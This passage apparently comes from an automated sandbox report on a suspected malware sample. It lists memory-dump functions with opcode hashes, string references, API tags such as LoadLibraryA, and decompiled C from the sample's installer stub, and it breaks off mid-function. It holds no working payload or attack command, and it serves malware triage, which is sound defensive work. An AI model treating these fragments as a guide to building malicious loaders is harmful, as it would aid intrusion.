String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: f475b5e7c4fac6a55b6c1d1c6fc8be0c3c81116eadcf65ae9da2db7c9a78743f
Instruction ID: 2354e4d6c0267ca18e6e0feb3ffa46d106ff44cde6032066b7c7af18b14de3d3
Opcode Fuzzy Hash: f475b5e7c4fac6a55b6c1d1c6fc8be0c3c81116eadcf65ae9da2db7c9a78743f
Instruction Fuzzy Hash: 3DB1587175034ACFDF348E298D943DB37A7BF96360F68422ECC855B245E770958ACA41

Uniqueness

Uniqueness Score: -1.00%

Function 032C54FC Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 486a9a9b6877213a375b373218fa5e31d488fadfb482f843ee5f24fa658681c8
Instruction ID: a61934a831c9a048692f4426eb624a56eed0e0e6c8ce4437ae5d8e0637c161ca
Opcode Fuzzy Hash: 486a9a9b6877213a375b373218fa5e31d488fadfb482f843ee5f24fa658681c8
Instruction Fuzzy Hash: 23B1687166034ACFDF348E298D943DB37A7BF96360F68422ECC855B245E77095CACA41

Uniqueness

Uniqueness Score: -1.00%

Function 032C55C6 Relevance: 2.8, Strings: 2, Instructions: 303COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 0432630343b591f4bc97cd33484f270bde20e884c39ead888c9fa9e3072cf92a
Instruction ID: 72c2288444b80a4bebb77500b1e8a177a6c86a7c8444f426a5082ed4ae5fa636
Opcode Fuzzy Hash: 0432630343b591f4bc97cd33484f270bde20e884c39ead888c9fa9e3072cf92a
Instruction Fuzzy Hash: 35A1677166034ACFDF348E298D943DB37A7BF96360F68422ECC994B245D77195CACA02

Uniqueness

Uniqueness Score: -1.00%

Function 032C5AFE Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 656c1b6d5d42c6110f99e50a72de576d9675fead4530e8c956615c3824d8a2e5
Instruction ID: c7748fdf6507f3d846cca84164e91c7928c29599ffbb14334e9845316ed39843
Opcode Fuzzy Hash: 656c1b6d5d42c6110f99e50a72de576d9675fead4530e8c956615c3824d8a2e5
Instruction Fuzzy Hash: 02A1577166034ACFDF348E298D943DA3767BF96360FA8422ECC894B146D77195C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C568B Relevance: 2.8, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: f1c2d97b66c0b8d5761c79e412b74f490bfb4afd0e14f113402d0337003c93ea
Instruction ID: fbcb7ea342a76f1a932098fcb73ee39520546272b43e25b10daa5c2b436c841c
Opcode Fuzzy Hash: f1c2d97b66c0b8d5761c79e412b74f490bfb4afd0e14f113402d0337003c93ea
Instruction Fuzzy Hash: 87A1567166034ACFDF348E298D943DB37A7BF96360F68422ECC994B145E77195CACA02

Uniqueness

Uniqueness Score: -1.00%

Function 032C5935 Relevance: 2.8, Strings: 2, Instructions: 296COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 087459ebe6df21fa55e4eec0e9d5965aa5888e33a2f4cd5b04f5083d4e205896
Instruction ID: e5859c545ff2760eae8aa104bd3e3ca0466dae0b1693d3ec5ea2e21ed5b5ffed
Opcode Fuzzy Hash: 087459ebe6df21fa55e4eec0e9d5965aa5888e33a2f4cd5b04f5083d4e205896
Instruction Fuzzy Hash: 2FA1567166034ACFDF348E298D943DA37A7BF96360F68422ECC894B145D77195CACA02

Uniqueness

Uniqueness Score: -1.00%

Function 032C5808 Relevance: 2.8, Strings: 2, Instructions: 293COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 0b7123991fb82df5f9180974d2e6570f9156246f707c31fc1f6545a94d72587c
Instruction ID: 25fbacb6a6dd701b89d9b7dfde7e3532b2f46eb9e29e9f90c4e2b77b5b0d2406
Opcode Fuzzy Hash: 0b7123991fb82df5f9180974d2e6570f9156246f707c31fc1f6545a94d72587c
Instruction Fuzzy Hash: 05A1577266438ACFDF358E398DA43DA3767AF96360F69422ECC894B106D37155C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C587A Relevance: 2.8, Strings: 2, Instructions: 293COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 8076a25c5981dc2e3fff99ca2e3fb861e85dc5c27e1de104a6fb1520b2bd9f3d
Instruction ID: ca2da24213af2716180e6aee4680b353856808a630204339656e54f4fcf4624b
Opcode Fuzzy Hash: 8076a25c5981dc2e3fff99ca2e3fb861e85dc5c27e1de104a6fb1520b2bd9f3d
Instruction Fuzzy Hash: 3EA1567166034ACFDF348E298D943DA37A7BF96360F68422ECC994B146D37195C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C59D5 Relevance: 2.8, Strings: 2, Instructions: 291COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 477d2f6aa10cd4a63ad08f2b0a2c2fb69a63ce5f77cad3f905fc01ce5b3afeea
Instruction ID: 0233b5d5f30dad82b75ac0ea9567984187148f927f8eb95d278237646229fdd7
Opcode Fuzzy Hash: 477d2f6aa10cd4a63ad08f2b0a2c2fb69a63ce5f77cad3f905fc01ce5b3afeea
Instruction Fuzzy Hash: 3BA1667166034ACFDF348E298DA43DB37A7AF92360F68422ECC894B146D37195C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C5730 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 1f738db3a7fbd5cd587fba281386dadf531b2038f69e3576caa3d1b0c1aa2f37
Instruction ID: d9ccf531c82aca5ac7a91ad129f6874d3286b57f93ca8edb6769de8e27bcc471
Opcode Fuzzy Hash: 1f738db3a7fbd5cd587fba281386dadf531b2038f69e3576caa3d1b0c1aa2f37
Instruction Fuzzy Hash: 15A1567166034ACFDF358E298DA43DA3767AF96360FA9422ECC994F106D37195C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C57D1 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 23c75b0cce8286e3646477e3dfa0e5222bbe1cb94c9b5dfb3140ad7e117f67f5
Instruction ID: 9ba88c4eb5f6b9bd8934e6701a95da16736f22c77f105c1301a213622e836ce3
Opcode Fuzzy Hash: 23c75b0cce8286e3646477e3dfa0e5222bbe1cb94c9b5dfb3140ad7e117f67f5
Instruction Fuzzy Hash: B8A1567166034ACFDF358E298DA43DA3767AF96360F69422ECC994F106D37195C6CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C72A0 Relevance: 1.6, Strings: 1, Instructions: 341libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: _bx
API String ID: 1029625771-3762552340
Opcode ID: ff44beea3c7f88726272d0fbbdd0ef48530f203aa55ddcaebd79e71a6d188730
Instruction ID: 14f606d700b7ebbdbe98d178685a61b26242c6e1b0775f4cd0bca1ec9d541bba
Opcode Fuzzy Hash: ff44beea3c7f88726272d0fbbdd0ef48530f203aa55ddcaebd79e71a6d188730
Instruction Fuzzy Hash: 0FB133757143469FDB349E388DA47DB37E3AFA2790F96462E8CC587244D3328986CB42

Uniqueness

Uniqueness Score: -1.00%

Function 032C732A Relevance: 1.6, Strings: 1, Instructions: 330libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: _bx
API String ID: 1029625771-3762552340
Opcode ID: 1e0bd10ddb50a57f02739759599fbb3ef48f4ad37252cfbfc4a188caf503e8e4
Instruction ID: 4d88d366f1c51f3a750e984b79a0207925fabf058e9153d10e85ebef01366829
Opcode Fuzzy Hash: 1e0bd10ddb50a57f02739759599fbb3ef48f4ad37252cfbfc4a188caf503e8e4
Instruction Fuzzy Hash: A1B13371744346DFCB349E3C8CA47DB37E7AF62790F99452E8C8597244E732888A8B42

Uniqueness

Uniqueness Score: -1.00%

Function 032C73FF Relevance: 1.5, Strings: 1, Instructions: 285libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: _bx
API String ID: 1029625771-3762552340
Opcode ID: c7052d8163b0f5dd2fa89478e64111e3e35a47e2918366a399cda4a7f010be36
Instruction ID: 034c6a2ef0242fafcfe6ea15d327273d478556aa1205e47c84df6aaa05fdeb9c
Opcode Fuzzy Hash: c7052d8163b0f5dd2fa89478e64111e3e35a47e2918366a399cda4a7f010be36
Instruction Fuzzy Hash: 80A15471744346DFCF349E2C8CA47DA37E7AF66790F99452E8C898B244E7318986CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E004065AF( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E00406668();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 1358fc4729cd4e161e3f995057c9de5906a44dd4f8dff08d490623953bdc3ea8
Instruction ID: b84bdfeecc4e8c0803ac0e71b8711fc90ef1d688bdc4be786e729a17b55638d3
Opcode Fuzzy Hash: 1358fc4729cd4e161e3f995057c9de5906a44dd4f8dff08d490623953bdc3ea8
Instruction Fuzzy Hash: 47F05E71A04105EBDB01DBB4EE49AAEB378EF14314F60457BE101F21D0E7B88E529B29

Uniqueness

Uniqueness Score: -1.00%

Function 032C74B2 Relevance: 1.5, Strings: 1, Instructions: 252libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: _bx
API String ID: 1029625771-3762552340
Opcode ID: 7111a7ee2e56392bab14b86828b3c02dcc3a20f8ce2097d1b5bb09be5b150787
Instruction ID: 6681b44ef3f2aa8a3b29e597c99985e5055cba57ad06358e5dfd6211779e927d
Opcode Fuzzy Hash: 7111a7ee2e56392bab14b86828b3c02dcc3a20f8ce2097d1b5bb09be5b150787
Instruction Fuzzy Hash: 82816571754346DFDB349E2C8C647DB33E7AFA1790F99852E8C858B244E731898ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 032C758D Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

_bx, xrefs: 032C7908

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: _bx
API String ID: 0-3762552340
Opcode ID: ac04b1d1413c994713f24720db6f8906b56630d651ef1e6290ba061810f9efce
Instruction ID: 4ff96ff0a33c779ce30c792f4d6b55b6ccbb9e4e9cfc31a88ae913fff1675a71
Opcode Fuzzy Hash: ac04b1d1413c994713f24720db6f8906b56630d651ef1e6290ba061810f9efce
Instruction Fuzzy Hash: DE615870714346DFDB349E2D8C607DB77E7AFA1790F99852E8C859B244E731888ACB42

Uniqueness

Uniqueness Score: -1.00%

Function 032C5D0E Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

/, xrefs: 032C5DF8

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: f751b95f485f12216c1f799f9138ffbd12228137a68c1d7059f1b1e98e23d75a
Instruction ID: 87018ecf2d8366bc75654569277b23ce8d1d5168a762dab320c176719f84a706
Opcode Fuzzy Hash: f751b95f485f12216c1f799f9138ffbd12228137a68c1d7059f1b1e98e23d75a
Instruction Fuzzy Hash: D6619731A24346DFEB309E668D647EB36B7BF96390F95022D8C896B204D7B0D9818B41

Uniqueness

Uniqueness Score: -1.00%

Function 032D4DCA Relevance: .8, Instructions: 782COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: f380cff35402528058663bc6168b037968ad91b07f70f34987d34ca6d34e81b9
Instruction ID: 20d55f2d8bda8603c221405a5297b31e66bc419f1dbe38a81423b73aba3ebdcc
Opcode Fuzzy Hash: f380cff35402528058663bc6168b037968ad91b07f70f34987d34ca6d34e81b9
Instruction Fuzzy Hash: 04523B706183868FDF31DE3889A87DA7BE29F53360F99829ECC954F196D3708586C712

Uniqueness

Uniqueness Score: -1.00%

Function 032D2231 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 087897c602bb777a90398b2f8709054c1ca755be8eb8722032eeb9f7fc1e1d57
Instruction ID: 840e82140abce8267d21cf1c6ed4b7db36f2efdfe860734347056a0059640e3a
Opcode Fuzzy Hash: 087897c602bb777a90398b2f8709054c1ca755be8eb8722032eeb9f7fc1e1d57
Instruction Fuzzy Hash: 0141C034639317EAD724ED2C8EF17EA33A7AF522A0F99891BDCC647440E7B048C68152

Uniqueness

Uniqueness Score: -1.00%

Function 032D3797 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a17ff37b25b6e957b1b0a4f2cea726f54d8da62979d4e4adb795711b82cb82
Instruction ID: 1c4fffe61d5626de37a61b59f8b92961058352476f9abd9483d9f62eff784de8
Opcode Fuzzy Hash: 00a17ff37b25b6e957b1b0a4f2cea726f54d8da62979d4e4adb795711b82cb82
Instruction Fuzzy Hash: 7A118CB9720A469FE728DE14D994BA9B3A2BF94710F19806DDA0A8B710D770D980CB02

Uniqueness

Uniqueness Score: -1.00%

Function 032C6C04 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad5715f5ebfba7e7f079f76702cb7a4e82538b7696cc7a9b2f00c3a2ac757154
Instruction ID: cb212ba2685dc8a6f5412f3700a11368356d6833143329389b8d77a1801d13d8
Opcode Fuzzy Hash: ad5715f5ebfba7e7f079f76702cb7a4e82538b7696cc7a9b2f00c3a2ac757154
Instruction Fuzzy Hash: 76C08087A78575CD4E3654746B5D1B52513DED541836C4736145645389D6CECFC410C2

Uniqueness

Uniqueness Score: -1.00%

Function 00405031 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405031(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x42a288;
				_v28 =  *0x42a270 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x42a279 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404F7F(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x42a278) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x42372c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x423740;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x42372c = 0;
								 *0x423740 = 0;
								 *0x42a2c0 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x42a279 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00404FFF();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x423740;
									_t201 =  *0x42a288;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x42a28c <= 0) {
										L86:
										if( *0x42a31e == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x42923c + 0x10)) != 0) {
											E00404F3A(0x3ff, 0xfffffffb, E00404F52(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x42a28c);
									goto L86;
								} else {
									_t293 = E004012E2( *0x423740);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x42a2c0 = _t291;
					 *0x423740 = GlobalAlloc(0x40,  *0x42a28c << 2);
